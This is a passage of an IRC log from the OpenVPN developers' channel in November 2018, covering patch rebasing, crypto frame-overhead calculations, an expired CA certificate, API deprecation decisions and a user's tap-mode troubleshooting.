with newer NDIS 6 specs. 12:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 12:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:58 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:06 <@ordex> tincantech: goed :P 14:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Log closed Fri Nov 02 19:03:33 2018 --- Log opened Fri Nov 02 20:17:18 2018 20:17 -!- Irssi: #openvpn-devel: Total of 27 nicks [7 ops, 0 halfops, 1 voices, 19 normal] 20:17 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 20:17 -!- Irssi: Join to #openvpn-devel was synced in 6 secs --- Day changed Sat Nov 03 2018 08:56 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 246 seconds] 14:49 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Sun Nov 04 2018 02:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Mon Nov 05 2018 01:10 <@cron2> *sigh* 01:10 <@cron2> X509 crypto is too hard for me... 01:10 <@cron2> Validity 01:10 <@cron2> Not Before: Nov 5 13:03:00 2008 GMT 01:10 <@cron2> Not After : Nov 3 13:03:00 2018 GMT 01:10 <@cron2> ... this is the corp ca certificate... 01:12 <@ordex> :D 01:13 <@ordex> the time of suffering has come 01:13 <@cron2> ideed. People are trying to work from home and have no secure channel to receive their new .ovpn... 01:13 * cron2 is highly annoyed 01:53 < gcoxmoz> Passing suggestion, depending on your emergency-level: consider rolling the clocks back (server and client) to buy enough time to work the issue. Otherwise: good luck! 02:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:41 <@cron2> *sigh* 04:42 <@cron2> gcoxmoz: that won't help. "The CEO cannot access her e-mail from her iphone" is the emergency level 04:42 <@cron2> (and no way to set the clock back remotely with her yelling into the phone to complain about nobody getting work done because <curses>) 04:51 <@cron2> fortunately it's just about ~60 profiles for laptops + ~30 for mobile devices, and *most* of the users are clueful enough to handle "there is a new profile in your $HOME on $Server" 04:51 <@cron2> those that are trying to work from home have a bit of an issue with "$Server", though... :-) (but most of the folks are actually *in*) 05:37 <@plaisthos> Debian knows what is best for you! 05:37 <@plaisthos> https://stackoverflow.com/questions/53058362/openssl-v1-1-1-ssl-choose-client-version-unsupported-protocol/ 05:37 <@vpnHelper> Title: openvpn - OpenSSL v1.1.1 ssl_choose_client_version unsupported protocol - Stack Overflow (at stackoverflow.com) 05:37 <@plaisthos> tl;dr new Debian sets OpenSSL SECLEVEL to 2 by default 05:38 <@plaisthos> (although that seems to only be rsa needs to be >=2048 instead >=1024 for pratical concerns) 05:39 <@plaisthos> oh with OpenSSL 1.1.1 it also disallows TLS 1.0 06:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 06:41 <@cron2> most efficient way to secure your computer: "shutdown -h now" :-) 06:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:17 <@plaisthos> ugh, when I volunteered to do the client-connect async patches review (and rebase) I did not realize that aysnc push has been added after fabian's patches and that both patches touch a lot of the same code :/ 08:20 <@cron2> uh 08:20 <@cron2> so we need to speed up with the vlan patches 08:21 <@cron2> (but I think ordex has something in one of his trees already that you can use as a base for the rebasing?) 08:22 <@plaisthos> hm I am not sure that this is related to the vlan patches or does the vlan patches tree contain something for client-connect? 08:37 <@cron2> oh 08:38 <@cron2> I got confused by "which async stuff in particular" and "which set of fabian patches" 08:38 <@cron2> ignore me 08:38 <@plaisthos> :) 08:39 <@plaisthos> but I just decided that get so many conflicts when even trying to rebase to the "pre big reformat" commit that I can rather just directly rebase onto master and deal with a little bit more conflicts than to go through to rebases 08:41 <@cron2> sounds like it... :/ 08:44 <@plaisthos> Hm, there is a rebased on top of master branch in Fabians repo 08:44 <@plaisthos> did you know about that @ordex? 09:35 <@plaisthos> what do I add as line for the rebased patches? 09:35 <@plaisthos> Completely-broken-by: Arne Schwabe? 09:35 <@plaisthos> Mutilated-the-patched-by: Arne 09:36 <@plaisthos> Says-It-is-a-rebase-but-really-more-a-rewrite: Arne 09:42 <@plaisthos> I am sure this is against style: 09:42 <@plaisthos> ++*cc_succeeded_count; 09:51 <@cron2> credit card transaction? ;-) 11:24 < kitsune1> Apart from style ++*p; is confusing -- ++(*p); is clearer. 11:32 <@plaisthos> cron2: cc is client_connect is in this connect but yes :) 11:32 <@plaisthos> kitsune1: I went for (*p)++; 11:32 <@plaisthos> since I like that more 11:42 < kitsune1> Yeah that will work too but if anyone removes those parentheses it becomes a different beast :) (unlike ++*p) 11:44 <@plaisthos> then we go into rvalue vs lvaue territory 11:44 <@plaisthos> :) 13:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:27 < tincantech> still can't (Get OpenVPN) .. https://openvpn.net/get-open-vpn/ 15:27 <@vpnHelper> Title: Download OpenVPN: The Worlds Best VPN | OpenVPN (at openvpn.net) 15:28 < tincantech> example: https://pkgs.alpinelinux.org/packages?name=openvpn&branch=v3.8&repo=main&arch=x86_64 15:28 <@vpnHelper> Title: Alpine Linux packages (at pkgs.alpinelinux.org) 15:50 <@ordex> <@plaisthos> [22:44:43] Hm, there is a rebased on top of master branch in Fabians repo << what does this mean? I took the branch we agreed on and I am working on that. My branch is called "vlan" in my repo on gitlab 20:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 21:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Nov 06 2018 01:06 <@cron2> ordex: I think he's talking about the async client-connect branch 01:06 <@ordex> ah ok 01:06 <@ordex> sorry 01:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:40 <@vpnHelper> RSS Update - tickets: #1138: OpenVPN client (v. 3.0.2) on iOS 12.1 does not route packets to OpenVPN server <https://community.openvpn.net/openvpn/ticket/1138> 03:54 <@ordex> cron2: how is the ipv6 server testing coming along? :-P 03:57 <@plaisthos> ordex: no idea, I just cloned Fabian Repo to get his original branch and saw that there was a vlan branch rebased on current master in there. I am as confused as you are :P 04:04 <@ordex> ah, that there is "a branch" I know 04:04 <@ordex> he talked about that 04:04 <@ordex> but no worries 07:44 <@ecrist> dazo: nobody wants your QA job. :) 07:49 <@ecrist> anywhere I've worked, those have been hard jobs to fill. 07:49 <@ecrist> Good QA people are hard to find. 07:51 <@plaisthos> yeah and most companies pay QA and treat QA like they are "lesser" people 07:51 <@plaisthos> so most good people switch to development 07:57 <@ecrist> I think a good QA person is *at least* on par with a good developer, if not more important. 07:58 <@ecrist> At $old_old_job, we had one QA guy in particular that was a damned wizard. 08:09 <@plaisthos> ecrist: yes, but a lot of companies have not realised that QA is equally important 08:31 <@dazo> ecrist: yes, it is :( 08:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:49 <@plaisthos> do we rather want malloc/free dance to save 20 bytes per connection or just have 20 byte more memory overhead and avoid that dance? 09:53 <@cron2> plaisthos: I tend to "not waste memory on per-connection state", though 20 bytes are something which could go in the context and we stop thinking about buggy malloc/free code paths... 09:59 <@dazo> plaisthos: I agree with cron2 10:04 <@cron2> dazo: are you feeling well? 10:05 <@dazo> :-D 10:05 <@cron2> ;-) 10:05 <@dazo> well, I am on quite strong painkillers these days :-P 10:05 <@dazo> not sure if that makes thing better or worse :-P 10:07 <@cron2> ouch. 10:07 <@plaisthos> but maybe more coulorful! 10:07 <@dazo> that's the disappointing part of it .... no colour change at all! 10:08 <@dazo> just ran quickly down a staircase, and when trying to avoid loosing the balance I hit the step too hard with one heel 10:09 <@dazo> but ... disappointed about the lack of colours regardless! :-P 10:47 <@plaisthos> O! 11:33 <@plaisthos> okay in my reworked patch it is actually now 8 byte (size of struct) vs 4-8 byte (size of pointer) (: 11:55 <@plaisthos> I would have reject Fabian patch on the basis of adding deffered support to the v1 api but not the the v2 api :D 13:52 <@cron2> is this plugin only? or plugin and script? 13:54 <@plaisthos> plugin and script --- Day changed Wed Nov 07 2018 00:57 <@vpnHelper> RSS Update - tickets: #1139: OpenVPN 3.0.2 (894) and iOS 12.1 - dhcp-option PROXY_AUTO_CONFIG_URL not working <https://community.openvpn.net/openvpn/ticket/1139> 01:49 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:03 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 03:06 <@cron2> meeting today? 03:47 <@mattock1> cron2: maybe an informal one if we have some pressing topic 03:47 <@mattock1> topics 03:49 <@mattock1> I don't have anything in particular to report, except that I tested Simon's openvpn patches which produce tapctl.exe and the MSI custom action DLL 03:50 <@mattock1> build worked fine, but I did not / could not test the produced files yet 04:01 <@cron2> ordex asked for a meeting on friday... I have nothing particular 04:01 <@ordex> I wanted to share something about jigsaw, but hadn't time to work on it and prepare anything 04:02 <@ordex> :( 04:07 <@syzzer> I have nothing pressing either 04:09 <@cron2> so... let's try to have something tangible next week? 04:09 <@cron2> my major hurdles these months are mostly done ("GO tournament" last weekend, wife's birthday today, router test with hard deadline for $work)... 04:09 <@cron2> so maybe I can get something done as well this week :-) 04:20 <@mattock1> sounds like a plan 04:20 <@mattock1> I will ping our resident Windows developer, Selva, about reviewing Simon's patches 04:25 <@mattock1> also sent the email to Jon 04:30 <@ordex> cron2: ok 08:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:04 <@dazo> meh ... plaisthos: https://status.slack.com/2018-11/48527a5ccfb38110 08:04 <@vpnHelper> Title: Slack System Status (at status.slack.com) 08:05 <@dazo> perhaps we should use PT to get an US based IP address :-P 08:24 <@plaisthos> dazo: my DTAG routing is fine :P 08:25 <@plaisthos> and also slack still lacks IPv6! 08:25 <@dazo> :) 08:26 <@dazo> well, slack acknowledges they still have an issue in Europe ... so it might not be just plain connectivity issues ... could be region replication, or some other message queue systems not communicating well together 09:20 < kitsune1> Distrubing findings on some hardware encryption: Self-encrypting deception: weaknesses in the encryption of solid state drives (SSDs) https://www.ru.nl/publish/pages/909282/draft-paper.pdf 11:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:52 <@cron2> syzzer: are you reading openvpn-uers? jjk has an interesting discussion about GCM frame format and needs help 13:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Log closed Wed Nov 07 16:08:45 2018 --- Log opened Wed Nov 07 16:16:12 2018 16:16 -!- Irssi: #openvpn-devel: Total of 29 nicks [7 ops, 0 halfops, 1 voices, 21 normal] 16:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 16:16 -!- Irssi: Join to #openvpn-devel was synced in 18 secs --- Day changed Thu Nov 08 2018 04:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:20 <@plaisthos> okay there is one part I seriously like about Fabian's patch 04:21 <@plaisthos> for the deferred script, the patch adds a second file that replaces the return status code 04:22 <@plaisthos> s/like/dislike/ 06:57 <@plaisthos> cron2: do you have link to the mail? 07:01 <@cron2> which mail? fabian's cc patch? 07:02 <@cron2> Message-Id: <1421497831-3424-1-git-send-email-fabian.knittel@lettink.de> is "v2 0/9" 07:02 <@cron2> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg09700.html+ 07:02 <@cron2> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg09700.html even 07:02 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2 0/9] Refactor client-connect / add support for deferred handling (at www.mail-archive.com) 07:05 <@plaisthos> cron2: no the one about GCM frame format 07:06 <@cron2> ah 07:06 <@plaisthos> I am already fightin with Fabian's patches and now need understand our whole inotify/async framework 07:06 <@cron2> https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg04637.html 07:06 <@vpnHelper> Title: [Openvpn-users] Frame format AES-GCM data packets (at www.mail-archive.com) 07:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:10 <+lev__> hey, it seems that ncp breaks fragment/mssfix functionality. With ncp (negotiated cipher aes256-gcm) fragment 1300/mssfix doesn't work - I see UDP packets of length 652/648 on a link. Same goes with fragment 1300/mssfix 1232 (udp packets len 620/612), however works with mssfix 1231 (udp len 1203) 07:11 <@plaisthos> cron2: I am pretty sure Steffan is subscribed as he was the first to answer :) 07:11 <+lev__> if I add ncp-disable to server config fragment 1300 / mssfix works as expected 07:32 <@vpnHelper> RSS Update - tickets: #1140: mssfix appears to be broken with NCP <https://community.openvpn.net/openvpn/ticket/1140> --- Log closed Thu Nov 08 08:02:00 2018 --- Log opened Tue Nov 13 09:05:34 2018 09:05 -!- Irssi: #openvpn-devel: Total of 32 nicks [8 ops, 0 halfops, 2 voices, 22 normal] 09:05 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 09:05 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 09:05 -!- You're now known as ecrist 09:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:56 < tincantech> ecrist: is back ;) 10:57 < tincantech> I have an easyrsa question for you .. 11:15 < kitsune1> tincantech: interesting find about reusing client IP causing the first one to hang around in a half-connected state. --ping is not the OS ping but internal to openvpn. That's why ping continues and the client is deemed up though the route is gone. A way to fix it will be to reinstate the route in the internal routing table (may not be easy to implement). Why not just kill the client so that it wi 11:15 < kitsune1> ll reconnect -- much simpler. 11:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:20 < tincantech> kitsune1: yes, --ping meant they both thought everything was ok but ping not so ;) .. as I pointed out though, the real answer is "Fix my config" ;) 11:21 < tincantech> i guess if somebody did have two ccd's with same --ifconfig-push but did not know it then they would be in for some fun ! i knew it because i just only just copied it 12:31 <@ecrist> howdy 12:31 <@ecrist> tincantech: what is your question? 12:39 <+krzie> also !ask :D 13:05 < tincantech> i was going to ask in #easyrsa ;) 13:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:26 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:26 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 14:27 <@mattock2> despite all reminders I forgot to send meeting invitation today - but lets organize one as planned last week 14:28 <@mattock2> invitation coming the first thing tomorrow morning 14:37 <@mattock2> sent one now 14:37 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 15:27 <@cron2> meeting \o/ 16:10 -!- rpifan_ is now known as rpifan 16:10 < rpifan> hello 20:11 < tincantech> bug ? .. should "openvpn --genkey --secret " require a filename for out put ? 21:13 <@ordex> tincantech: it does, doesn't it ? 21:18 < tincantech> stdout ? 21:35 <@ordex> ? 21:35 <@ordex> the moon ? 22:35 -!- krzie [94654cd2@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 23:21 < kitsune1> tincantech: openvpn --genkey --secret /dev/stdout --- Day changed Wed Nov 14 2018 02:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:58 <@mattock1> ok so meeting 03:00 <@ordex> in 1h:30m right ? 03:00 <@mattock1> yes 03:04 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2018-11-14 03:04 <@vpnHelper> Title: Topics-2018-11-14 – OpenVPN Community (at community.openvpn.net) 03:05 <@mattock1> sent the topic list to openvpn-devel as well 03:05 <@mattock1> ml 03:43 <@mattock1> hmhm the topic page now gives "We are currently down for maintenance. Please try back again soon." (from cloudflare I'm sure) 03:43 <@mattock1> works again... go figure 03:48 < sgstair> cron2: heya, let me know if you have some time to chat 03:53 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:53 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:59 <@cron2> sgstair: mornin :-) 03:59 <@cron2> give me some 10 minutes 04:04 < sgstair> sure np 04:09 <@cron2> so 04:11 <@cron2> sgstair: I assume your tap vpn is still not well-behaved? 04:11 < sgstair> yeah, even using a linux server now. I'm wondering if you have any ideas for stuff to try or look for. 04:12 <@cron2> first thing I normally do is tcpdump, but you wrote that you already sniffed while it was still a windows machine 04:13 <@cron2> so for a ping, you should see arp request windows->linux, and then an arp reply going back all the way... 04:13 <@cron2> very basic question, please be not offended: IP addresses and netmask are all proper? 04:14 < sgstair> I see the arp request make it to the server, but I don't see it forwarded to the other client, or any reply. Yeah, I'm certain the IP configuration is correct. 04:14 <@cron2> ah 04:15 <@cron2> if the arp is "client 1 asking for client 2", please enable "client-to-client" in the server config 04:15 < sgstair> oh, yeah that sounds important 04:15 <@cron2> I thought "client 1 was ARPing for the server IP" 04:15 <@cron2> without client-to-client, all traffic goes client1->openvpn->linux side->openvpn->client2 04:16 <@cron2> which works for tun (unless firewalled - which is sort of "the point of this option"), but I think it might break tap 04:16 <@cron2> as linux won't relay an "ethernet" packet back out the linux tap 04:16 < sgstair> aha. 04:16 < sgstair> well let me try that, one moment 04:17 <@cron2> sorry for having too many options that always get in the way :) 04:19 < sgstair> works perfectly now :) thanks 04:20 < sgstair> just didn't notice the option in my previous walks over the documentation 04:21 <@cron2> cool :-) 04:21 < sgstair> I knew it had to be something simple. 04:22 <@cron2> we have a zillion of special-case options that are totally obvious once you needed them for real - and you just overlook them otherwise 04:41 <@plaisthos> works here 04:41 <@plaisthos> sorry looked at backlog, ignore that 05:27 <@vpnHelper> RSS Update - tickets: #1141: Harden OpenVPN on Windows against generic DLL hijacking vulnerabilities <https://community.openvpn.net/openvpn/ticket/1141> 05:28 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 06:54 <+lev__> syzzer: when we adjust crypto overhead in crypto_adjust_frame_parameters(), why do we do this 06:54 <+lev__> /* extra block required by cipher_ctx_update() */ 06:55 <+lev__> crypto_overhead += cipher_kt_block_size(kt->cipher); 06:55 <+lev__> that block size is not on the wire, if I understand it correctly 07:06 <@syzzer> lev__: because struct frame is also used to determine the size of the internal buffers 07:06 <@syzzer> and the crypto lib APIs require us to have "at least a block of head room" 07:13 <@mattock1> what was the "initial MSI patch" that has not yet been ACKed? 07:14 <@mattock1> I guess all the three latest patches 07:15 <+lev__> syzzer: if we use AEAD, auth tag (which is also part of crypto overhead) is already 16 bytes, so why we add 16 more bytes (=block size) ? 07:21 <@syzzer> because we have to reserve the auth tag in the buffer before we do the crypto 07:21 < tincantech> mattock1: maybe you mean this : https://github.com/OpenVPN/openvpn-build/pull/141 07:21 <@vpnHelper> Title: Windows MSI Packaging by rozmansi · Pull Request #141 · OpenVPN/openvpn-build · GitHub (at github.com) 07:22 <@syzzer> if the openvpn protocol would have the auth tag after the ciphertext, we could have done that 07:22 <@syzzer> lev__: ^^ 07:25 <+lev__> so we have to reserve size(auth tag)+size(block) for doing crypto? 07:26 <@mattock1> tincantech: no that I'm looking at 07:26 <@mattock1> but anyways, I'll let "somebody else" who does the merging figure it out 07:27 <@mattock1> :P 07:27 <+lev__> when we fo fragmenting, we compare buf->len with payload_size_dynamic, which is link_mtu_dynamic - extra_frame (which includes crypto overhead) 07:27 <@mattock1> I will focus on testing rozmansi's MSI work - need to do some Vagrant testing first so it will take a bit 07:28 <+lev__> since block_size is not on the wire, I wonder why it is part of comparison (even though same struct frame is used for crypto) 07:28 <+lev__> syzzer: ^^ 07:33 < tincantech> mattock1: yeah, sorry for the noise .. i think only rozman will have the answer 07:53 < tincantech> mattock1: perhaps this (has had no replies and involves WiX) https://sourceforge.net/p/openvpn/mailman/message/36464967/ 07:53 <@vpnHelper> Title: OpenVPN / [Openvpn-devel] [PATCH 1/3] Delete TAP interface before the TAP driver is uninstalled (at sourceforge.net) 07:54 <@mattock1> tincantech: yeah, the three latest patches did not seem to have any comments 07:58 <+lev__> oh I think I understand now - we should account for one more block because of block alignment of ciphertext 08:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:25 <@syzzer> lev__: for CBC, yes. For other modes it is technically not needed, but the crypto lib API specs still say we should account for the potential overhead 08:25 <@syzzer> so the real fix is probably to separate the buffer size calculations from the wire overhead calculations... 08:26 <@syzzer> but that is going to be really annoying to test and review 08:27 <@plaisthos> Okay, Selva what Selvva is critising basically amount to drop support for old management-external-key support clients 08:27 <@syzzer> or maybe the current struct frame allows such a thing already 08:28 <@syzzer> but then someone should fully understand that logic, document it, and write regression tests 08:35 <@plaisthos> syzzer: you are probably one of the few other people that use management-external-key 08:35 <@plaisthos> syzzer: do you have a problem with dropping the old API and require pk-sig with an ALG paramter? 08:36 <@syzzer> plaisthos: not in 2.5 08:36 <@plaisthos> yeah this kind of also affects 2.4 08:36 <@syzzer> as in, not a problem if we do that in 2.4 08:36 <@syzzer> uh 2,5 08:37 <@syzzer> hrmpf 08:37 <@plaisthos> syzzer: now you confused me ;) 08:46 <@plaisthos> syzzer: I just trying to get a decision if I need to support old API or not and until then I am kind of stuck with the patch :( 09:00 <@syzzer> if it's too much hassle, I would say it's okay to make an incompatible change in the api 09:00 <@syzzer> this is close integration with the binary 09:00 <@syzzer> not some user config 09:01 <@syzzer> with good release notes and clear instructions how to change the management client I'd be fine with it 09:03 <@plaisthos> syzzer: I can defenitively do that 09:03 <@plaisthos> for clients that only need OpenSSL 1.1.0 the changes are also minimal 09:03 <@syzzer> now you only need to convince dazo ;-) 09:03 <@dazo> Don't try that before I've had some dinner first! :-P 09:04 * dazo heads out for dinner now 09:05 <@plaisthos> I will just prepare the patches for 2.5 and then dazo/cron2 need to decide if they also want to merge them to 2.4/keep 2.4 broken/request a 2.4 version of the patch 09:05 <@plaisthos> ) 09:05 <@plaisthos> :) 09:55 <+lev__> syzzer: man for EVP_CipherUpdate says that "amount of data written may be anything from zero bytes to (inl + cipher_block_size - 1) so out should contain sufficient room.", doesn't it apply for any modes ? 10:09 <+lev__> regarding splitting wire overhead and buffer size calculations, we could probably do as in openvpn3 - for buffers we initialize framing parameters once with large enough payload and headroom 10:36 <@syzzer> lev__: yeah, that's the reason and the way I think we should go --- Day changed Thu Nov 15 2018 00:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:13 <@ordex> plaisthos: lev__: I can't connect to appear.in anymore 02:13 <@ordex> not even to slack 02:14 <@ordex> hm had to connect to my vpn to get back there 02:14 <@ordex> some world wide routing issue must be ongoing.. 02:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:44 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: No route to host] 05:05 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:05 <@cron2> one shouldn't power down the router which feeds one's server in the datacenter... 05:06 <@cron2> well, not without "move routing elsewhere" first, that is... 05:21 <@ordex> :[ 06:50 <@cron2> the "powering down" bit was planned (test router being moved to production tonight, in a different building), I just forgot to move my routed VLAN *back* to the regular router 06:50 <@cron2> :) 08:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 18:05 * tincantech is taking bets on the next "deprecated" option ;-) 20:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 20:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:55 < kitsune1> May not win the bet, but suggest to deprecate --ip-win32 method, --route-method m, --pause-exit, --single-session --- Day changed Fri Nov 16 2018 00:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:50 <@cron2> kitsune1: we're with you here on --ip-win32 and --route-method, but this won't make 2.5. Wrt --single-session - that's an interesting one indeed, and I bet there are people that actually use it... 04:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:11 < tincantech> my bet is (believe it or not) --tls-auth ! .. t-tls-crypt* renders it more or less obsolete unless you have a 2.3 client .. and tls-crypt* is a nice carrot to push ppl to funally get rid of wxp ;) 10:13 <@plaisthos> When see I a name and think that name must be Dutch and figure out, he is from South Africa and go with "Dutch enough" *ducks* 10:59 < kitsune1> cron2: good to hear that -- looking forward to 2.6 where windows users wont be given a ton of options that they shouldn't using :) 11:04 < kitsune1> tincantech: "dont touch my tls-auth" :) that said, it may break too many configs. 12:15 < tincantech> kitsune1: i said "deprecated" not removed ;-) 12:16 < tincantech> plaisthos: like "Danish Bacon!" :D --- Day changed Sat Nov 17 2018 02:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:33 < tincantech> ecrist: cron2 there is something wrong with terrance .. it is not responding to WAN 07:34 < tincantech> ahh .. maybe it is my end 07:38 < tincantech> yeah .. it's me 08:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 08:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 08:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 09:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 09:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 09:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 11:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 12:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:01 -!- mattock1 